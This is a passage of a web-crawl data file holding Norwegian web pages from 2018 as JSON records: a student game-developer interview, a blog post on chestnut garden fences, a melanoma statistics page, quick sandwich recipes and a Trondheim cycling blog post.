t\u00f8rt.\n\n\n\n*Del din matglede i kommentarfeltet nedenfor :) Bli med p\u00e5 \u00e5 gj\u00f8re oppskriftene enda bedre\\! Kom med dine tips og ideer til forbedring.*\n\n**Velbekomme\\!**\n\n", "language": "no", "__index_level_0__": "3817fa5a-0ca1-4042-8e6f-7cbc4fdb57de"}
{"url": "https://www.noroff.no/nyheter/3d/529-tommy-fikk-med-seg-hollywood-utviklere-pa-spillprosjekt", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:35:45Z", "text": "\n\n# Tommy fikk med seg Hollywood-utviklere p\u00e5 spillprosjekt\n\n     Publisert 02. oktober 2017\n\nTommy gikk fra \u00e5 jobbe i oljeindustrien til \u00e5 bli prosjektleder p\u00e5 sitt eget spill: \u2013 Jeg m\u00e5tte f\u00e5 det til p\u00e5 et vis, sier han.\n\nTommy R\u00f8kkum (31) fra\u00a0Haugesund gjorde helomvending i karrieren. Andre\u00e5rsstudenten er tydelig p\u00e5 hvorfor han ville studere bachelor i interaktive medier - spill:\u00a0\n\n\u2013 Jeg \u00f8nsket \u00e5 l\u00e6re mer om hvordan\u00a0spillproduksjon fungerer. Jeg er som de de fleste andre studenter en gamer, sier Tommy. \u2013 Det er voksende felt p\u00e5 nesten alle m\u00e5ter, s\u00e5 hvis jeg noengang skulle l\u00e6re meg det, m\u00e5tte det skje n\u00e5.\n\n*\u2013 Du er prosjektleder p\u00e5\u00a0The Whaler. Kan du si litt om prosjektet?*\n\n\u2013 The Whaler\u00a0er et *trade simulator* spill\u00a0som\u00a0utspiller seg p\u00e5 1800-tallet. Du som spiller kontrollerer ditt\u00a0eget utforskbare skip, hvor du kan lage ting, fiske, tilpasse kapteinens kabin, og samhandle med besetningen p\u00e5 vei fra havn til havn. Form\u00e5let er \u00e5 tjene penger.\n\n\u2013 Du kan ogs\u00e5 ta del i en\u00a0innholdsrikt jakt\u00a0p\u00e5 hvalojle.\n\n> Jeg s\u00e5 raskt at det var et marked for dette.Tommy R\u00f8kkum\n\n*\u2013 Hva fikk deg til \u00e5 sette i gang dette prosjektet?*\n\n\u2013 Jeg fikk id\u00e9en i fjor, og brukte en del tid p\u00e5 \u00e5 gj\u00f8re research p\u00e5 budsjett, omfang, andre spill og s\u00e5 videre.\u00a0Jeg s\u00e5 raskt at det var et marked for dette, og jeg inns\u00e5\u00a0at at jeg m\u00e5tte f\u00e5 det til p\u00e5 et vis.\n\n*\u2013 Hvem har du med deg p\u00e5 prosjektet?\u00a0\u00a0*\n\n\u2013 Jeg har flere\u00a0som jobber sammen med meg. Halvparten av dem har industrierfaring fra Hollywood og AAA games, sier Tommy.\n\n\u2013 Michel Mony, som er profesjonell konsulent og programmerer med over ti \u00e5rs erfaring.\u00a0Han jobbet blant annet\u00a0p\u00e5\u00a0League of Legends. Videre er Fabritzio Bortolussi med. Han har jobbet p\u00e5 mange\u00a0Hollywood-filmer og spill, som Agony, Star Citizen, Conjuring House,\u00a0Silent Hill, Underworld: Evolution, Narnia 3, for \u00e5 nevne noen.\u00a0\n\n\u2013 Linus Scheffel og\u00a0Juras Rodionovas er\u00a03D-modellerere som ogs\u00e5 jobber p\u00e5\u00a0Days of War.\n\n\u00a0\n\n**Concept art:** The Whaler\n\n### \u2013\u00a0Heldig som fikk en utgiver s\u00e5 tidlig\n\n*\u2013 Hvordan kom du i kontakt og fikk i gang samarbeid med alle disse?*\n\n\u2013 Jeg gjorde mye research og fant frem til\u00a0Mike p\u00e5\u00a0gamedev.net, og s\u00e5 tok vi det derfra.\n\n*\u2013 Du fikk ogs\u00e5 en utgiver som\u00a0hjelper b\u00e5de med finansiering og markedsf\u00f8ring?*\n\n\u2013 Ja, jeg var heldig som fikk en utgiver s\u00e5 tidlig i produksjonen. Det skjedde p\u00e5 grunn av at\u00a0@indiedb\u00a0omtalte spillet p\u00e5 Twitter. Jeg var s\u00e5 heldig at to utgivere kom i kontakt med\u00a0meg, i stedet for at jeg m\u00e5tte kontakte en utgiver.\n\n> Tenk p\u00e5 din egen\u00a0Intellectual Property, og vern om denne\u00a0s\u00e5 godt du kan.Tommy R\u00f8kkum\n\n*\u2013 Har du noen tips til spilldesignere om hvordan man skaffer finansiering?*\n\n\u2013 Mitt tips er \u00e5 utvikle en prototype med spillets kjernefunksjoner, eller en *vertical slice*, som er fullversjonen av spillet men uten nitti prosent av innholdet. Dette kan du sende til utgivere og og sp\u00f8rre dem hva de synes. Hvis de ikke liker det, s\u00e5 be om en generell tilbakemelding. Det er en liste over utgivere p\u00e5 reddit som oppdateres jevnlig.\n\n\u2013 Jeg vil r\u00e5de spilldesignere til \u00e5 bruke noe penger slik at en profesjonell leser gjennom avtaleforslagene som sendes til deg. Det er veldig lett \u00e5 bli overivrig og bare si ja slik at du f\u00e5r en avtale. Tenk p\u00e5 din egen Intellectual Property, og vern om denne s\u00e5 godt du kan.\n\n*\u2013 Du har tidligere jobbet med logistikk i oljeindustrien. Hvordan var det \u00e5 gj\u00f8re dette karriereskiftet?\u00a0*\n\n\u2013 Det var veldig vanskelig. Min forrige jobb var veldig godt betalt, og den var regnet som trygg helt frem til oljekrisen som skjedde for\u00a0to-tre \u00e5r siden. Men igjen, det gjorde det lettere \u00e5 ta en avgj\u00f8relse om \u00e5 gj\u00f8re det jeg \u00f8nsket.\n\n\u00a0\n\n**Concept art:** The Whaler\n### L\u00e6rerne fortsetter \u00e5 utfordre deg\n\n*\u2013 Du driver ogs\u00e5 med\u00a0\"mod work\" p\u00e5\u00a0Beyond Skyrim: Morrowind. Hvordan er det?\u00a0*\n\n\u2013 Det er en veldig l\u00e6rerik erfaring\\! Det er veldig givende \u00e5 jobbe med s\u00e5 mange flinke og erfarne kunstnere, og l\u00e6re fra dem. Jeg vil oppfordre alle til \u00e5 ble med i en\u00a0*modding group*. Der l\u00e6rer du mer enn du tror\\!\u00a0\n\n> Professorene og l\u00e6rerne vet virkelig hva de holder p\u00e5 med.Tommy R\u00f8kkum\n\n*\u2013 Hvilke planer har du for fremtiden?*\n\n\u2013 Jeg skal presentere spillet p\u00e5 Gamescom og fortsette \u00e5 jobbe p\u00e5 det frem til vi slipper det. Jeg skal ogs\u00e5 jobbe videre med bachelorgraden min.\n\n*\u2013 Hva synes du om bachelorstudiet?*\n\n\u2013 Det jeg virkelig elsker med studieprogrammet er *studioprosjektet*. Videre er *prosjektledelse*\u00a0ekstremt verdifullt, og jeg bruker l\u00e6rdommen derfra hver dag. *Narrative*-kurset er ogs\u00e5 veldig bra. Det hjelper meg \u00e5 bygge en historie rundt hver ressurs og karakter i spillet.\n\n*\u2013 Hva synes du om l\u00e6rerne p\u00e5 Noroff H\u00f8yskole?*\n\n\u2013 Professorene og l\u00e6rerne vet virkelig hva de holder p\u00e5 med og de vil alltid fortsette \u00e5 utfordre deg. De gj\u00f8r ogs\u00e5 masse research p\u00e5 teoriene bak spilldesign.\n\n-----\n\n\n\n### Bachelor i interaktive medier - spill \n\nDette bachelorstudiet har hovedfokus p\u00e5 spilldesign og spillutvikling, og forbereder deg p\u00e5 en rekke roller innen underholdningsbransjen og kreative n\u00e6ringer.\n\n### Bachelor i interaktive medier - animasjon \n\nDette bachelorstudiet gir en solid forst\u00e5else av animasjonsbransjen. Hovedfokuset er \u00e5 designe, skape og sette sammen karakterer for spill, film og historiefortelling.\n\n|    |                              |\n| :-: | ---------------------------- |\n| ** | 3 \u00e5r                         |\n| ** | Kristiansand                 |\n| ** | Tilgjengelig som nettstudium |\n| ** | **Studiet gir bachelorgrad** |\n\n### 3D spilldesign \n\n| :-: | ------------------------------------- |\n| ** | 2 \u00e5r                                  |\n| ** | Oslo, Bergen, Stavanger, Kristiansand |\n| ** | Tilgjengelig som nettstudie           |\n| ** | **Studiet gir fagskolevitnem\u00e5l**      |\n\n#### Om Noroff\n\n", "language": "no", "__index_level_0__": "42fdfef3-135f-4860-83b8-97f2a8c21b28"}
{"url": "http://www.moseplassen.no/2018/03/kastanjegjerde/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:16:40Z", "text": "\n\nMarch 7, 2018 - Ting og tang\n\n# Kastanjegjerder, enkel og lekker ramme for hagen\n\nKastanjegjerder er en genial m\u00e5te \u00e5 dele opp hagen, eller lage avgrensning mot nabo eller utmark. Der hvor gjerder flest gjerne kan bli harde og \"masete\" s\u00e5 har kastanjegjerder et utrykk som danner en rolig og lekker bakgrunn for plantene.\n\nS\u00e5. Hva er kastanjegjerde? Jo, det er splittede kastanjetr\u00e6r, som er festet sammen med tykk st\u00e5ltr\u00e5d. De kommer p\u00e5 rull, og skal gr\u00e5ne naturlig. Sv\u00e6rt enkle \u00e5 montere, null vedlikehold.\n\n\n\nAlle bildene er fra hagen til Maria.\u00a0Hun har kastanjegjerde flere steder i hagen og hver gang jeg deler bilder fra denne hagen s\u00e5 sp\u00f8r dere om gjerdene hennes, s\u00e5 n\u00e5 var det p\u00e5 tide \u00e5 f\u00e5 l\u00f8ftet frem kastanjegjerdet\\!\n\n\n\nGjerdet er alts\u00e5 av kastanje, som har et h\u00f8yt innhold av garvesyre som fungerer som naturlig impregnering. De er derfor sv\u00e6rt holdbare (15-20 \u00e5r under normale forhold), og beh\u00f8ver ikke behandles p\u00e5 noe vis, noen sinne\\!\n\nProduksjonen er b\u00e6rekraftig da den best\u00e5r av at man jevnlig skj\u00e6rer tr\u00e6r ned til bakken, og s\u00e5 lar de skyte p\u00e5 nytt. Det er p\u00e5 mange m\u00e5ter Frankrike og Englands svar p\u00e5 den norske skigarden, laget av materialer av i utgangspunktet lav verdi. Men kastanjegjerdene varer alts\u00e5 mye lengre :)\n\n\n\nKastanjegjerder selges p\u00e5 rull, i ulike lengder og ulike h\u00f8yder (jeg har sett de fra 90til 180 cm h\u00f8ye). Det kan ogs\u00e5 v\u00e6re ulike avstander mellom pinnene slik at noen modeller er tettere enn andre.\n\n\n\nN\u00e5r du skal montere ett gjerde s\u00e5 m\u00e5 du f\u00f8rst sl\u00e5 ned stolper. Avstanden m\u00e5 du tilpasse etter lokale forhold, men du kan vel ta utgangspunkt i to meter avstand, tettere om de er h\u00f8ye og utsettes for mye press. Stolper kan du lage av b\u00e5de trelastvirke og staur.\u00a0S\u00e5 kan du enten feste st\u00e5ltr\u00e5den til stolpen med en krampe, eller sette spikre kastanjen i stolpen. Det er viktig at du strammer gjerdet skikkelig n\u00e5r det monteres, ellers blir det st\u00e5ende \u00e5 henge p\u00e5 lite pent vis.\n\n\n\nOgs\u00e5 sitter dere der da og tenker JA, JA, de var fine, men HVOR???  \n\u2013 Trolig er dette enklere enn du tror\\! N\u00e5 er vi nok litt utenfor sesong, men s\u00e5 snart bakken har tint s\u00e5 kan du rett og slett sjekke med ditt lokale hagesenter om de har, eller vil ta inn. Om du ikke finner det lokalt s\u00e5 veit jeg de selges p\u00e5 nett. Men, de var i fjor \u00e5 f\u00e5 hos Hageland (alle), Bauhaus og Felleskj\u00f8pet, og sikkert mange andre kjeder ogs\u00e5.\n\n\n\n*S\u00e5, la meg oppsumere; Pent \u00e5 se p\u00e5, mulig \u00e5 se gjennom, bremser vind, stopper ikke-altfor-trassige barn og hunder, relativt rimelig og enkelt \u00e5 montere, og perfekt med planter.\u00a0*  \n*\u2013 Jeg digger kastanjegjerde, gj\u00f8r du?*\n\n\n\n## 6 Comments\n\n1.  \n    \n    Nana\n    \n    Kastanjehegn er nemlig s\u00e5 smukt\\! Vi har det flere steder, blandt andet omkring k\u00f8kkenhaven om som indhegning af andeg\u00e5rden :-)  \n    Det er fine billeder du viser\\!\n\n2.  \n    \n    Toril\n    \n    S\u00e5 utrolig flotte bilder\\!  \n    Og de er superfine:))  \n    Fikk veldig lyst p\u00e5 slikt gjerde n\u00e5;))\n\n3.  \n    \n    Siv Anita\n    \n    Utorlig fint og praktisk gjerde. Jeg har dette gjerde b\u00e5de for \u00e5 skille til nabo og og som skille og vindstopper i hagne. Vi har hatt det i mange \u00e5r n\u00e5 og det blir bare finere med \u00e5rene\u2026\n\n4.  \n    \n    Elly Lyngmo\n    \n    Er veldig begeistret for kastanjegjerder\n\n5.  \n    \n    Helen\n    Takk for kjempefin blogg :) Du t\u00f8r \u00e5 ha egne meninger og det liker jeg.\n\n6.  \n    \n    Magni Krause\n    \n    Hei Anne. Tusen takk for tipset. Jeg har de siste dagene g\u00e5tt \u00e5 tenkt p\u00e5 gjerde, vi trenger et nytt mot naboen. De ser fine ut og passer i min litt ville hage. Og akseptabel pris p\u00e5 felleskj\u00f8pet.\n\n", "language": "no", "__index_level_0__": "85b074fb-c93d-42e8-a23f-529a36195eab"}
{"url": "https://www.kreftregisteret.no/Generelt/Fakta-om-kreft/Foflekkreft/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:18:23Z", "text": "              - Hvorfor er personer som ikke er naboer eller tidligere raffineriansatte, men som har eller har hatt arbeidsplass i n\u00e6rheten av raffineriet, ikke med i unders\u00f8kelsen?\n              - Er sektorene for dominerende vindretninger og antatt nedslagsfelt, slik de har v\u00e6rt presentert i media riktig?\n              - Vil unders\u00f8kelsen kun basere seg p\u00e5 tall og statistisk materiale?\n              - Kommer naboer til \u00e5 bli invitert til \u00e5 delta i unders\u00f8kelsen, f.eks. ved intervju? N\u00e5r vil det i s\u00e5 fall skje?\n              - Hvem sitter i ressursgruppa?\n              - Ser man i denne unders\u00f8kelsen etter alle, eller spesifikke krefttyper, og i s\u00e5 fall hvilke krefttyper ser man etter?\n              - Hvilke krefttyper er dette (se sp\u00f8rsm\u00e5l over)?\n              - Hvordan kan man skille mellom kreft pga arv, gener, livsstil og annen eksponering, og kreft pga raffineriet?\n              - Hvilke konklusjoner har man fra andre unders\u00f8kelser knyttet til sammenhengen mellom kreft og raffineri-virksomhet?\n              - Status per 31. oktober 2008\n# F\u00f8flekkreft\n\n  \n\nNorge er p\u00e5 verdenstoppen i forekomst av f\u00f8flekkreft. I 2016 fikk 2114 personer i Norge f\u00f8flekkreft.\n\n\n\n*Sist oppdatert: 15.01.2018*\n\nForekomst av f\u00f8flekkreft har \u00f8kt kraftig blant menn og kvinner i Norge og internasjonalt i etterkrigstiden. Forekomsten i Norge er blant de h\u00f8yeste i verden. Dette skyldes sannsynligvis endrede solingsvaner og \u00f8kt bruk av solarium.\n\nF\u00f8flekkreft (malignt melanom) er den alvorligste formen av hudkreft. Den utvikles fra de pigmentdannende celler i huden. F\u00f8flekkreft oppst\u00e5r vanligvis i huden. I sjeldne tilfeller kan f\u00f8flekkreft forekomme i slimhinner, for eksempel i \u00f8yet.\u00a0\n\n## Mangedobling av forekomst p\u00e5 50 \u00e5r\n\nAntallet tilfeller av f\u00f8flekkreft \u00f8ker over hele verden, og vi i Norge er p\u00e5 verdenstoppen. I 2016 fikk\u00a02114 nordmenn denne kreftformen. Dette er 20 ganger s\u00e5 mange tilfeller som\u00a0p\u00e5 1950-tallet.\n\nTradisjonelt har kvinner f\u00e5tt f\u00f8flekkreft oftere enn menn, men menn har n\u00e5 passert kvinner i forekomst.\n\nBlant b\u00e5de menn og kvinner er dette den kreftformen som forekommer nest hyppigst i aldersgruppen 25-49 \u00e5r. Det er imidlertid i aldersgrupper over 50 \u00e5r vi ser den st\u00f8rste \u00f8kningen i forekomst, og menn over 50 \u00e5r har den h\u00f8yeste forekomsten av f\u00f8flekkreft.\n\n## H\u00f8y overlevelse hos de som diagnostiseres tidlig\u00a0\n\n5 \u00e5rs relativ overlevelse er h\u00f8y for de som f\u00e5r f\u00f8flekkreft, men prognosene avhenger av hvilket stadium sykdommen er\u00a0i n\u00e5r den diagnostiseres. De aller fleste tilfellene av f\u00f8flekkreft oppdages tidlig (lokal sykdom) og for denne gruppen er prognosen meget god, med en 5 \u00e5rs relativ overlevelse p\u00e5\u00a0i overkant av 80 prosent for menn og\u00a0rundt 90 prosent for kvinner.\n\nF\u00f8flekkreft er imidlertid en alvorlig og aggressiv kreftform, og for de 10 prosent av tilfellene der det er registrert spredning p\u00e5 diagnosetidspunktet er prognosen langt d\u00e5rligere. De fleste som diagnostiseres sent er menn, og for disse er det kun\u00a0litt over\u00a012 prosent 5 \u00e5rs relativ overlevelse.\u00a0 For kvinner med spredning er prognosen bedre med en 5 \u00e5rs relativ overlevelse p\u00e5 24,7 prosent.\u00a0\n\nStor \u00f8kning i antall tilfeller av f\u00f8flekkreft sammen med h\u00f8y 5 \u00e5rs relativ overlevelse resulterer i h\u00f8y prevalens av denne sykdommen. Ved utgangen av 2016 var det\u00a024.594 menn og kvinner i Norge som enten har eller har hatt f\u00f8flekkreft. Dette er en \u00f8kning p\u00e5 nesten 9000 p\u00e5 ti \u00e5r.\u00a0\n\nI 2016 d\u00f8de\u00a0306 nordmenn av f\u00f8flekkreft, flere menn enn kvinner.\n\n## Enkelt \u00e5 forebygge f\u00f8flekkreft\n\n\u00c5rsaken til \u00f8kningen av f\u00f8flekkreft er sannsynligvis endrede solingsvaner, s\u00e6rlig blant menn og i aldersgruppen over 50 \u00e5r. Det er sannsynlig at solariebruk ogs\u00e5 bidrar til \u00f8kt forekomst.\n\nF\u00f8flekkreft er en \"enkel\" sykdom \u00e5 forebygge. Det viktigste tiltaket er \u00e5 unng\u00e5 \u00e5 bli solbrent, ved \u00e5 bruke solkrem med h\u00f8y faktor, ta pauser fra sola n\u00e5r den er p\u00e5 det sterkeste eller bruke kl\u00e6r som beskyttelse. \u00c5 bli solbrent i solarium er like uheldig som \u00e5 bli brent utend\u00f8rs. Myndighetene har innf\u00f8rt 18 \u00e5rs grense for solarium i Norge, men unge frar\u00e5des \u00e5 bruke solarium, siden risikoen for \u00e5 f\u00e5 f\u00f8flekkreft \u00f8ker for de som begynner \u00e5 bruke solarium tidlig.\n\nNoen familier synes \u00e5 v\u00e6re arvelig disponert for hudkreft. Disse kan be om genetisk utredning og spesiell oppf\u00f8lging.\n\n### Tiltak du kan du gj\u00f8re for \u00e5 redusere din risiko for \u00e5 f\u00e5 f\u00f8flekkreft\n\n  - Bruk av solkrem med minst faktor 15 minsker risiko for \u00e5 f\u00e5 f\u00f8flekkreft  \n  - Unng\u00e5 overdreven soling\u00a0 \n  - 1982-1986: 56,0 \u00e5r\n  - 2012-2016: 65,0 \u00e5r\u00a0**\u00a0**\n\n**5 \u00e5rs relativ overlevelse - kvinner:**\n\n  - 1977-1981: 79,9 %\n  - 2012-2016: 90,1 %\n\n**5 \u00e5rs relativ overlevelse - menn:**\n\n  - 1976-1981:\u00a061,0 %\n  - 2012-2016: 83,7 %\n\n**Kreftoverlevere - begge kj\u00f8nn:**\n\n  - 31.12.2006: 15.882\n  - 31.12.2016:\u00a024.594\n\n", "language": "no", "__index_level_0__": "1938ae8b-c646-4b30-a80d-81d808e5a3b3"}
{"url": "https://brodogkorn.no/fakta/de-7-raskeste-blingsene/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:41:33Z", "text": "\n\n# 7 lekre br\u00f8dskiver du lager p\u00e5 1-2-3\n\nDet tar ikke lang tid \u00e5 lage en deilig frokost eller lunsj n\u00e5r du velger p\u00e5smurt. Og i hvert fall ikke hvis du velger en av disse superraske skivene.\n\nBr\u00f8d + p\u00e5legg = verdens raskeste m\u00e5ltid\\!\u00a0\n\n\u00a0\nDet er fullt mulig \u00e5 lage br\u00f8dskiver som er like gode som de er raske. Med godt br\u00f8d og gode p\u00e5leggskombinasjoner har du en lekker blings p\u00e5\u00a01-2-3\\!\n\n\u00a0\nVi har funnet noen smakfulle oppskrifter som\u00a0passer godt inn p\u00e5 hektiske morgener \u2013 enten du sm\u00f8rer deg\u00a0frokost eller niste til lunsj. P\u00e5leggene er n\u00e6ringsrike og enkle \u00e5 f\u00e5 tak i. Varier mellom ulike br\u00f8d, og velg gjerne av de grovere\u00a0slagene.\u00a0\n\nS\u00e5 n\u00e5 er det ingen grunn til \u00e5 hoppe over disse viktige m\u00e5ltidene som kan f\u00e5 deg lettere gjennom dagen\u2026\n\n\u00a0\n1 Br\u00f8dskive med varmr\u00f8kt makrell og agurk\n\n\u00a0\n\n\n\n\u00a0\n\nSlik gj\u00f8r du:\n\n1 \u2013 Bre sm\u00f8r p\u00e5 br\u00f8dskiven.  \n2 \u2013 Legg p\u00e5 et stykke varmr\u00f8kt makrell.  \n3 \u2013 Del slangeagurken i passelige skiver og legg over til slutt.\n\n\u00a0\n\n2 Appelsin p\u00e5 skiven\u00a0\n\n\u00a0\n\n\n\n\u00a0\n\nSlik gj\u00f8r du:\n\n1 \u2013 Sm\u00f8r kremost p\u00e5 br\u00f8dskiven.  \n2 \u2013 Skrell og del en appelsin i skiver, legg p\u00e5 \u00f8nsket mengde p\u00e5 br\u00f8dskiven.  \n3 \u2013 Pynt med noen skiver r\u00f8dl\u00f8k etter eget \u00f8nske.\n\n\u00a0\n3 Skive med skinke, kremost, eple og pepper\n\n\u00a0\n\n\n\n\u00a0\n\nSlik gj\u00f8r du:\n\n1 \u2013 Sm\u00f8r kremost p\u00e5 br\u00f8dskiven.  \n2 \u2013 Legg skinke over.  \n3 \u2013 Del eplet i biter og ha skinken opp\u00e5 br\u00f8dskiven.\u00a0Dryss til slutt over pepper.\n\n\u00a0\n\n4 Skive med tomat og mozzarella\n\n\u00a0\n\n\n\n\u00a0\n\nSlik gj\u00f8r du:\n\n1 \u2013 Sm\u00f8r pesto p\u00e5 br\u00f8dskiven.  \n2 \u2013 Del tomat i skiver og legg p\u00e5 br\u00f8dskiven.  \n3 \u2013 Del mozzarellaost i skiver og legg sammen med tomat p\u00e5 br\u00f8dskiven.\u00a0Dryss over nykvernet pepper og havsalt.\n\n\u00a0\n\n5 Br\u00f8dskive med fiskekake, r\u00f8dl\u00f8k og urter\n\n\u00a0\n\n\n\u00a0\nSlik gj\u00f8r du:\n\n1 \u2013 Ha sm\u00f8r eller majones p\u00e5 br\u00f8dskiven.  \n2 \u2013 Del r\u00f8dl\u00f8k i passelig tynne skiver, s\u00e5 mye du \u00f8nsker og legg p\u00e5 br\u00f8dskiven.  \n3 \u2013 Legg en fiskekake p\u00e5 br\u00f8dskiven og dryss\u00a0friske urter over.\n\n\u00a0\n\n6 Skive med gulost, paprika og friske urter\n\n\u00a0\n\n\n\u00a0\nSlik gj\u00f8r du:\n\n1 \u2013 Sm\u00f8r p\u00e5 sm\u00f8r p\u00e5 skiven.  \n2 \u2013 Legg p\u00e5 en eller to skiver ost.  \n3 \u2013 Del paprika i biter eller skiver og legg p\u00e5 sammen med litt ferske krydderurter.\n\n\u00a0\n\n7 Skive med r\u00f8kelaks, kremost og pepper\n\n\u00a0\n\n\n\n\u00a0\nSlik gj\u00f8r du:\n\n1 \u2013 Sm\u00f8r kremost p\u00e5 br\u00f8dskiven.  \n2 \u2013 Legg p\u00e5 to skiver r\u00f8kelaks.  \n3 \u2013 Kvern eller dryss over \u00f8nsket mengde pepper.\n\n\u00a0\nS\u00e5 enkelt og godt kan det alts\u00e5 gj\u00f8res\\! I en hektisk hverdag er det godt \u00e5 ikke m\u00e5tte stri med fancy og avanserte m\u00e5ltider.\u00a0Med grovbr\u00f8d som basis gj\u00f8r du det lett for deg selv.\n\n\u00a0\nFerskt grovbr\u00f8d i br\u00f8dskuffen eller fryseren, to-tre ulike p\u00e5legg og gr\u00f8nt i kj\u00f8leskapet og du\u00a0kan i en fei lage\u00a0varierte, n\u00e6ringsrike og ikke minst gode matpakker.\u00a0\n\n*Sist oppdatert 01.08.2017*\n\n  Br\u00f8d virker\\!\n\n#### Grovbr\u00f8d for prestasjon\n\nLangrennsl\u00f8per Astrid \u00d8yre Slind g\u00e5r for Team United Bakeries og vet hva det vil si \u00e5 skulle prestere. I en alder av bare 22 \u00e5r hadde hun allerede kjempet til seg b\u00e5de s\u00f8lv og gull i U23-VM. S\u00e5 hvordan spiser skistjernen for \u00e5 yte maksimalt?\n\n  Br\u00f8d\n#### Glutenfritt flerkornbr\u00f8d\n\nEt glutenfritt flerkornbr\u00f8d med mye smak som holder deg mett lenge. Dette passer ypperlig i matpakken\\!\n\n  Br\u00f8d virker\\!\n\n#### Spis mer havre\\!\n\nHavre er en av de sunneste kornsortene vi har. Det er i tillegg lettvint \u00e5 lage god mat med, og dessuten velsmakende og billig. S\u00e5 v\u00e6r snill mot deg selv - sett havre p\u00e5 menyen.\n\n  Br\u00f8d virker\\!\n\n#### Sett bygg p\u00e5 menyen\n\nBygg er proppfullt av helseelementer. Den st\u00f8rste fordelen er kornets sjener\u00f8se innhold av fiber. Kornet er ogs\u00e5 rikt p\u00e5 antioksidanter. Med de positive helseeffektene bygg har anbefaler vi mer bruk av bygg i kosten.\n\n  Br\u00f8d\n#### Ekstra grovt rugbr\u00f8d\n\nEkstra grovt rugbr\u00f8d er et sunt og velsmakende br\u00f8d av b\u00e5de grov og fin rug og hele hvetekorn og hvetekli. Skikkelig rugbr\u00f8d skal ogs\u00e5 ha litt m\u00f8rk sirup i seg.\n\nEkstra Grovt\n  Br\u00f8d virker\\!\n\n#### \u2013 Jeg elsker br\u00f8d\\!\n\nRagnhild Gravem (30) kunne ikke tenke seg en bedre premie enn ett \u00e5rs forbruk av br\u00f8d. Det er nemlig noe av det beste hun vet.\n\n#### Hjertebr\u00f8d\n\nHjertebr\u00f8d er et hjerteformet br\u00f8d du baker til kj\u00e6resten eller en du er glad i. Med fin rug og hvete er det halvgrovt og passer som tilbeh\u00f8r til middag.\n\n", "language": "no", "__index_level_0__": "265ae096-01b5-4d05-a09b-db54a9ed51cb"}
{"url": "http://3tblogg.no/2016/05/09/takk-for-at-du-sykler/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:44:07Z", "text": "# Takk for at du sykler\\!\n\n#### Published by Erlend on 9. May 2016\n\n**Det spirer og v\u00e5res, og de fleste har funnet frem sykkelen etter en lang og kald vinter. Flere og flere lar bilen st\u00e5 og sykler og g\u00e5r p\u00e5 jobb og trening. Prosentvis sykler folk i Trondheim mer enn noen andre storbyer i Norge. Den mest vanlige grunnen til at vi sykler er at det er praktisk og tidsbesparende i forhold til de motoriserte transportmidlene. For de fleste er mosjon, egen helse og \u00f8konomi ogs\u00e5 viktige faktorer.**\n\nSykling gir betydelige helsegevinster, redusert sykefrav\u00e6r og andre innsparinger. En syklist holder seg friskere enn en ikke-syklist, og alle som holder seg i form, f\u00e5r f\u00e6rre livsstilsrelaterte sykdommer og unng\u00e5r i st\u00f8rre grad alvorlige sykdommer.\n\n\n\nMarit Arnstad og Jens Stoltenberg sprayet inn symbolet for milj\u00f8pakken og teksten \u00abtakk for at du sykler\u00bb i sykkelfeltet ved Gamle bybro i Kj\u00f8pmannsgata. Foto: Kim Nyg\u00e5rd, Adresseavisa.\n\nV\u00e5ren 2014 vedtok Trondheim kommune en sykkelstrategi for byen i perioden 2014-2025. Hensikten var \u00e5 lage en langsiktig plan for \u00e5 f\u00e5 mest sykling igjen for investeringene. Visjonen er at Trondheim skal v\u00e6re Norges beste sykkelby. Sammen med Milj\u00f8pakken er dette et av de viktigste virkemidlene for en by med mindre biler og et ledd i jobben for \u00f8kt folkehelse.\n\n> Men bare s\u00e5 det er klart; det er fullt lovlig \u00e5 parkere sykkel i midtbyn\\!\n\nOg med \u00f8kt sykkelbruk kommer nye utfordringer. Enhver sykkeltur ender med en parkert sykkel. I f\u00f8lge Trondheim kommune er \"villparkering\" av sykler er reelt problem. De p\u00e5pekes eksempelvis p\u00e5 sykler som st\u00e5r langs husvegger og \"henger\" i lyktestolper, skilt, gjerder og trebeskyttere ikke er akseptabelt. I tillegg trekkes Trondheim torg frem som et eksempel p\u00e5 steder hvor parkerte sykler ikke passer p\u00e5 grunn av \"d\u00e5rlig estetikk.\" Forst\u00e5 det den som vil, den folketomme stein- og asfalt\u00f8rkenen som er Trondheim torg kan neppe fremst\u00e5 tristere med noen parkerte sykler. Men bare s\u00e5 det er klart; det er fullt lovlig \u00e5 parkere sykkel hvor man vil, b\u00e5de p\u00e5 fortau og p\u00e5 Trondheim torg. (Vel \u00e5 merke s\u00e5 lenge det ikke medf\u00f8rer fare eller er til hinder for g\u00e5ende.)\n\n\n\n  \nF\u00e5 parkeringsplasser: Det vrimler av villparkerte sykler i Midtbyen. Mari Olden ved Kommunalteknikk leter etter nye plasser til gode sykkelstativ. Foto: Carl-Erik Eriksson, Trondheim2030.no\n\nI en nylig postet artikkel trekkes parkerte sykler utenfor 3T-Midtby'n frem som et eksempel p\u00e5 villparkeringen Trondheim kommune vil til livs. Men alle som har passert lokalene v\u00e5re i Dronningens gate vet at her er fortauene brede og fine og ferdsel er aldri hemmet p.g.a. for mange parkerte sykler. Vi har ogs\u00e5 lagt til rette for sykkelparkering, med monterte sykkelstativer, n\u00f8yaktig likt det Trondheim kommune selv har gj\u00f8rt p\u00e5 eget bygg 50 meter lenger opp i samme gate. I tillegg er det kort vei til andre egne sykkelparkeringsplasser n\u00e5r det er behov.\n\nSammen med alle nye sykkelstier og tilpassa innfarts\u00e5rer, dukker det stadig opp nye parkeringsplasser tilpasset sykler. Men forel\u00f8pig er det er ikke helt samsvar med antall sykler og antall tilpassa parkeringsplasser. Vi oppfordrer derfor folk til \u00e5 bruke sunn fornuft n\u00e5r man setter fra seg sykkelen. Men viktigst av alt er at man fortsetter \u00e5 bruke kroppen n\u00e5r man flytter p\u00e5 seg\\! 